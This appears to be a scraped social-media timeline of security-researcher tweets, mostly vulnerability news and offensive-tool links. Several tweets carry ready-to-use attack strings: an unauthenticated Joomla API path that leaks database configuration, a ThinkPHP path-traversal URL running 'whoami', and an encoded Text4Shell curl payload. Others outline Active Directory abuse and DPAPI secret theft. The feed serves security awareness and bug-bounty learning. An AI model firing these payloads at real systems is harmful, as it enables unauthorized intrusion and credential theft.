Freebien

[张惠倩 @momika233]

4.0.0 <= Joomla <= 4.2.7
#Joomla #bugbountytips #momika233
/api/index.php/v1/config/application?public=true

You can see the database configuration information!

[张惠倩 @momika233]

DHCP Server Remote Code Execution impact: 2008 R2 SP1 до Server 2019
https://t.co/8xP50ZACwC

[张惠倩 @momika233]

/index.php?s=index/index/index/think_lang/../../extend/pearcmd/pearcmd/index&cmd=whoami
#thinkphp #RCE #0day #bugbounty #bugbountytips

[The Hacker News @TheHackersNews]

#Citrix has released security updates to address 3 new flaws in Application Delivery Controller (ADC) & Gateway products, including a critical authentication bypass #vulnerability that could be exploited to take control of affected systems.

https://t.co/8j0k9onBnl

#infosec

[Freebien @Fr2ebs]

Est-ce normal que ce site soit classifié "clean" par la plateforme de signalement ? https://critair2022[dot]org
@OrangeCyberFR @phishinitiative

[Grzegorz Tworek @0gtweet]

It waited on my backlog for months, even if I smelled some C2 potential within iFilters.
And now I can confirm it, and I LOVE it!
It's enough to send an email with attachment to a victim, to execute commands as LOCALSYSTEM.

[张惠倩 @momika233]

Apache Text4Shell (CVE-2022-42889)

PoC
curl http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.get.Runtime%28%29.exec%28%5C%27%27%2E%74%72%69%6D%28%24%63%6D%64%29%2E%27%5C%27%29%7D

[siri@fu4k1 @sirifu4k1]

A C compiler targeting an artistically pleasing nightmare for reverse engineers
#hacktools https://t.co/SymkKxXP6x

[siri@fu4k1 @sirifu4k1]

FFmpeg: Heap Out-Of-Bounds Write in build_open_gop_key_points CVE-2022-2566 #cve #cybersecurity https://t.co/0AD5Zjmr9r

[siri@fu4k1 @sirifu4k1]

APIKit：Discovery, Scan and Audit APIs Toolkit All In One. https://t.co/BPTxzaOn7V

[The Hacker News @TheHackersNews]

A researcher has uncovered a new kind of NTLM relay attack, dubbed "DFSCoerce," that leverages the Distributed File System (DFS): Namespace Management Protocol (MS-DFSNM) to take control of Windows domains

Details: https://t.co/bYyacCpi9i

#infosec #cybersecurity #hacking #tech

[nao_sec @nao_sec]

Interesting maldoc was submitted from Belarus. It uses Word's external link to load the HTML and then uses the "ms-msdt" scheme to execute PowerShell code.
https://t.co/hTdAfHOUx3

[Login Sécurité @LoginSecurite]

Il y a quelques mois, Login Sécurité a sorti un outil open source nommé DonPapi. L'utilité ? Récupérer à distance tous les secrets DPAPI d'un SI ;)
On vous en parle sur le blog !
https://t.co/8PlIlrQeQk

[Dramelac @Dramelac_]

You encounter limitations with your golden tickets (DACLs, detection)? GoldenCopy retrieves all the information (ID, groups, etc) of a specific user in a neo4j database (bloodhound) and prepares the mimikatz/ticketer command to impersonate his permissions.
https://t.co/mfbnBmsNnO

[Florian Hansemann @CyberWarship]

RCE-0-day-for-GhostScript-9.50: RCE 0-day for GhostScript 9.50 - Payload generator

#infosec #pentest #redteam
https://t.co/YRClltRTah

[Kaido Järvemets @kaidja]

Create a fake computer account and change the UserAccountControl value to 8192. Now the AD thinks it is a domain controller.

[Freebien @Fr2ebs]

@swapnakpanda @Sysaddict For go package should be main with a main function :)
Great tho 👌

[Ian Beer @i41nbeer]

Today we're publishing a detailed technical writeup of FORCEDENTRY, the zero-click iMessage exploit linked by Citizen Lab to the exploitation of journalists,
activists and dissidents around the world. https://t.co/RYsqpTHF5j

[Gaëtan Leroy @ga3tanL3roy]

Envie de rejoindre une équipe de passionnés, pour de la "vraie RedTeam" au sein d'un environnement grand groupe, vaste et hétérogène sur Saint Denis? Cette offre est faite pour vous :) https://t.co/Y5G2lrSFEw

[The Hacker News @TheHackersNews]

A new zero-day #vulnerability (CVE-2021-3064) has been discovered in Palo Alto Networks GlobalProtect VPN, which could be exploited by an unauthenticated attacker to execute arbitrary code with root privileges on affected devices.

Detail: https://t.co/BxIhcXtByA

#infosec #tech